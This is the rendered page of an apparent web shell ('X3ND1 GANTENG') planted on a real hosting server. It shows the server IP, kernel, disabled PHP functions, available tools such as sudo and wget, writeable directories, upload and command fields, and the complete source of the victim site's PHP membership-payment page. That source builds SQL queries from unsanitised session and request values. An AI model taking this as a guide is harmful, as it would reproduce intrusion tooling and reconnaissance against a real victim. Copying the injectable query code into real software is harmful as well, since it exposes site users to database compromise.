X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.144.224.30
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/binarygains.in/developer1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/binarygains.in/developer1/memberpackage.php
<?php 
include("config/error.php");
include("includes/head.php");
include "config/instamojo.php";
define(API_KEY, $API_KEY);
define(AUTH_TOKEN, $AUTH_TOKEN);
$Instamojo=new Instamojo(API_KEY, AUTH_TOKEN, $AUTH_URL);
if(!(isset($_SESSION['profileid'])) && !(isset($_SESSION['userid']))) {
	header("location:index.php");
	echo "<script>window.location='index.php'</script>";
}
//var_dump($_SESSION);exit;
if(isset($_REQUEST['__upd'])) {
	
	try {
		$rows = $_POST['invamt']/$_POST['amount'];
		$uniq_id = uniqid();
		for($i=0;$i<$rows;$i++){
			$com_obj->insertrec("INSERT INTO `mlm_pin`(`request_id`,`member_id`, `member_registration_id`) VALUES ('".$uniq_id."','".$_SESSION['profileid']."','".time().$i."')");
		}
		//exit;   
		/*echo "<script>location.href='$response[longurl]';</script>";
		header("Location: $response[longurl]");
		exit;*/
	}
	catch (Exception $e) {
		print('Error: ' . $e->getMessage());
	}
}

if(isset($payment_id) && isset($payment_request_id)) {
	try {
		$sel=mysql_fetch_array(mysql_query("select pay_txnid from mlm_purchase where pay_userid='$profileid'"));
		$txt=$sel['pay_txnid'];
		$response=$Instamojo->paymentRequestStatus($payment_request_id);
		$set="status='$response[status]'";
		$set.=",modified_at='$response[modified_at]'";
		$com_obj->insertrec("update mlm_mempayments set $set where payment_id='$payment_request_id'");
		if($response['status']=="Completed") {
			if($txt==$payment_request_id){
			$redet=$com_obj->singlerec("select * from mlm_purchase where pay_txnid='$payment_request_id'");
			$p_email=$redet['pay_email'];
			$p_userid=$redet['pay_userid'];
			$p_phone=$redet['pay_phone'];
			$p_product=$redet['pay_product'];
			$p_amount=$redet['pay_amount'];
			$p_qty=$redet['pay_qty'];
			$p_type=$redet['pay_type'];
			$p_date=$redet['pay_date'];
			$pro=$com_obj->singlerec("select pro_name from mlm_products where pro_id='$p_product'");
			$p_name=$pro['pro_name'];
			$subject="Re-newal details from ".$website_name;
	$msg="<table cellpadding='0' cellspacing='0' border='0' bgcolor='#006699' style='border:solid 10px #006699; width:550px;'>
		<tr bgcolor='#006699' height='25'>
			<td><img src=".$logourl." border='0' width='200' height='60' /></td>
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr bgcolor='#FFFFFF' height='30'>
						<td valign='top' style='font-family:Arial; font-size:12px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'><b> Re-newal details from ".$website_name." </b></td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Username : $p_userid (or) $p_email </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Phone : $p_phone </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Product : $p_name </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Qty : $p_qty </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Amount : $p_amount </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Pay Type : $p_type </td>
						</tr>
						
							<tr bgcolor='#FFFFFF'>
		 	<td align='left' style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'> Regards,<br>
				".$website_name."<br>
			</td>
		
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr height='40'>
		
<td align='right' style='font-family: Arial, Helvetica, sans-serif;font-size: 10px;background-color:#006699;
color: #000000;'>&copy; Copyright " .date("Y")."&nbsp;"."<a href='$website_url/login.php' style='font-family:Arial; font-size:11px; font-weight:bold; text-decoration:none; color:#FFFFFF;'>".$website_name."</a>."."
</td>
</tr>
</table>";
	$to=$p_email;
	$cmail=$com_obj->commonMail($to,$subject,$msg);
	
	$spn=mysql_fetch_array(mysql_query("select * from mlm_register where user_sponserid	='$p_userid'"));
	$r_email=$spn['user_email'];
	$r_userid=$spn['user_profileid'];
	$r_phone=$spn['user_phone'];
	$r_name=ucfirst($spn['user_fname']);
	
	$subjectt="Re-newal details from ".$website_name;
	$msgg="<table cellpadding='0' cellspacing='0' border='0' bgcolor='#006699' style='border:solid 10px #006699; width:550px;'>
		<tr bgcolor='#006699' height='25'>
			<td><img src=".$logourl." border='0' width='200' height='60' /></td>
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr bgcolor='#FFFFFF' height='30'>
						<td valign='top' style='font-family:Arial; font-size:12px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'><b> Re-newal details from ".$website_name." </b></td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Username : $r_userid (or) $r_email </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Phone : $r_phone </td>
						</tr>
						
						
							<tr bgcolor='#FFFFFF'>
		 	<td align='left' style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'> Regards,<br>
				".$website_name."<br>
			</td>
		
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr height='40'>
		
<td align='right' style='font-family: Arial, Helvetica, sans-serif;font-size: 10px;background-color:#006699;
color: #000000;'>&copy; Copyright " .date("Y")."&nbsp;"."<a href='$website_url/login.php' style='font-family:Arial; font-size:11px; font-weight:bold; text-decoration:none; color:#FFFFFF;'>".$website_name."</a>."."
</td>
</tr>
</table>";
	$too=$r_email;
	$cmail=$com_obj->commonMail($too,$subjectt,$msgg);

			$com_obj->insertrec("update mlm_purchase set pay_payment='1' where pay_txnid='$response[id]'");
			echo "<script>location.href='memberpackage.php?upd';</script>";
			header("Location: memberpackage.php?upd");
			exit;
			}
		}
		else {
			echo "<script>location.href='memberpackage.php?pyerr';</script>";
			header("Location: memberpackage.php?pyerr");
			exit;
		}
	}
	catch (Exception $e) {
		print('Error: ' . $e->getMessage());
	}
}
?>
<script>
function detajax(str) {
	if (window.XMLHttpRequest)
	  {// code for IE7+, Firefox, Chrome, Opera, Safari
	  xmlhttp=new XMLHttpRequest();
	  }
	else
	  {// code for IE6, IE5
	  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	xmlhttp.onreadystatechange=function()
	  {
	  if (xmlhttp.readyState==4 && xmlhttp.status==200)
		{
		document.getElementById("resp").innerHTML=xmlhttp.responseText;
		}
	  }
	xmlhttp.open("GET","packajax.php?q="+str,true);
	xmlhttp.send();
}

function checkAmount(){
	var amount = $('#invamt').val();
	if(isNaN(amount)){
		alert('Should Be A Number');$('#invamt').val('');
		return false;
	}
	//alert(amount);
	/*if(amount<$('#membership_amount').val()){
		alert('Should Be Equal to or greathen than Membership Amount');$('#invamt').val('');
		return false;
	}*/
	   
	if(amount%$('#membership_amount').val()!=0){
		alert('Investment Amount Should be in multipy of '+$('#membership_amount').val());$('#invamt').val('');
		return false;  
	}
	
	
		$('#qty1').val(amount/$('#membership_amount').val());
		
}

function prd_cost(prd) {
	if (window.XMLHttpRequest)
	  {// code for IE7+, Firefox, Chrome, Opera, Safari
	  xmlhttp=new XMLHttpRequest();
	  }
	else
	  {// code for IE6, IE5
	  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	xmlhttp.onreadystatechange=function()
	  {
	  if (xmlhttp.readyState==4 && xmlhttp.status==200)
		{
		document.getElementById("prdcost").innerHTML=xmlhttp.responseText;
		document.getElementById("prcost").value=xmlhttp.responseText;
		}
	  }
	xmlhttp.open("GET","prd_discount.php?prd="+prd,true);
	xmlhttp.send();
}

function perupd(qty) {
	var prdcost=document.getElementById("prcost").value;
	var memamt=document.getElementById("memamt").value;
	if (window.XMLHttpRequest)
	  {// code for IE7+, Firefox, Chrome, Opera, Safari
	  xmlhttp=new XMLHttpRequest();
	  }
	else
	  {// code for IE6, IE5
	  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	xmlhttp.onreadystatechange=function()
	  {
	  if (xmlhttp.readyState==4 && xmlhttp.status==200)
		{
		var result=JSON.parse(xmlhttp.responseText);
		document.getElementById("discount").innerHTML=result.discount;
		document.getElementById("totamt").innerHTML=result.totamt;
		document.getElementById("tot_amt").value=result.totamt;
		}
	  }
	xmlhttp.open("GET","prd_discount.php?memamt="+memamt+"&prdcost="+prdcost+"&qty="+qty,true);
	xmlhttp.send();
}
</script>
</head>
    <body>
		<div class="container main">
			<?php include("includes/header.php"); ?>
			<?php include("includes/menu.php");	?>
			<hr />
			<?php include("includes/profileheader.php");	?>
			<hr />
			<div class="row">
                <?php include("includes/profilemenu.php"); ?>
                <div class="col-sm-9">
                    <div class="row">
                        <div class="col-sm-12">
							<div class="well" style="padding-right: 0;">
							
							<?php
							$ismemExpired=extra::ismemExpired($_SESSION['profileid']);
							if($ismemExpired) {
							$renewIn=extra::renewIn();
							?>
							<form action="" method="post">
                                
								
								</form>
								<h4 class="navbar-inner" style="color:black; line-height:40px; margin-top: -50px; margin-bottom: 7px;">Pins Requested</h4>
								<table class="table table-striped new_tbl" cellpadding="7" cellspacing="5" border="0" width="100%">
								   <tr>
									  <td width="15%">
										 <strong>S.No</strong>
									  </td>
									  <td > 
										 <strong>Transaction Id</strong>
									  </td>
									  <td >              
									     <strong>Pin Alloted</strong>
									  </td>
									  <td >              
									     <strong>Time</strong>
									  </td>
									  <td >              
									     <strong>Pin Consumed</strong>
									  </td>
								   </tr>                     
								   <?php $query=mysql_query("select count(mlm_pin.id) as number,mlm_pin.request_id,mlm_pin.created_at,mlm_register.user_fname,count(CASE WHEN mlm_pin.verified = '1' THEN 1 END) as pending_number from mlm_pin 
								   left join mlm_register on mlm_register.user_profileid = mlm_pin.member_id where mlm_pin.member_id='".$_SESSION['profileid']."'  group by mlm_pin.request_id");
								   $num = 1;
  								    while($row = mysql_fetch_assoc($query)){
								   ?>  
								     <tr>  
									    <td><?= $num ?></td>
									    <td><?= $row['request_id'] ?></td>   
									    <td><?= $row['number'] ?></td>
									    <td><?= date('d-m-Y H:i:s',strtotime($row['created_at'])) ?></td>
										<td><?= $row['pending_number'] ?></td>
								     </tr>
									<?php $num++;} ?>
								</table>            
								<?php   
								} else {
								$updInfo=$com_obj->singlerec("select * from mlm_mempayments where profileid='$userdetail[user_profileid]' order by id desc");
								$memInfo=$com_obj->singlerec("select * from mlm_membership where id='$updInfo[pack]'");
								?>
									<table cellpadding="7" cellspacing="0" border="0" width="100%">
									<?php
									if(isset($_REQUEST['upd'])) { ?>
									<tr><td colspan="3" align="center" style="color:#006633; font-weight:bold;">Package upgraded successfully !</td></tr>
									<?php } ?>
									<tr>
									<td colspan="3" align="center" style="font-weight:bold;">
									<h3>Your subscribed Package : <?php echo $memInfo['membership_name']; ?></h3>
									<br><span>Validity : <?php echo $memInfo['days']." days"; ?></span>
									<br><span>Last Upgraded : <?php echo !empty($updInfo['created_at'])?date("d-m-Y H:i:s", strtotime($updInfo['created_at'])):"---"; ?></span>
									<br><span>Expires in : <?php echo extra::expiresIn($updInfo['created_at'])." days"; ?></span>
									</td>
									</tr>
									</table>
								<?php } ?>
							</div>
                        </div>
                    </div>
                    <br />
                </div>
				
            </div>
			
			<?php include("includes/footer.php"); ?>
		</div>
		<script src="js/jquery.js"></script>
        <script src="js/bootstrap.js"></script>
	</body>
</html>

Anon7 - 2022
SCDN GOK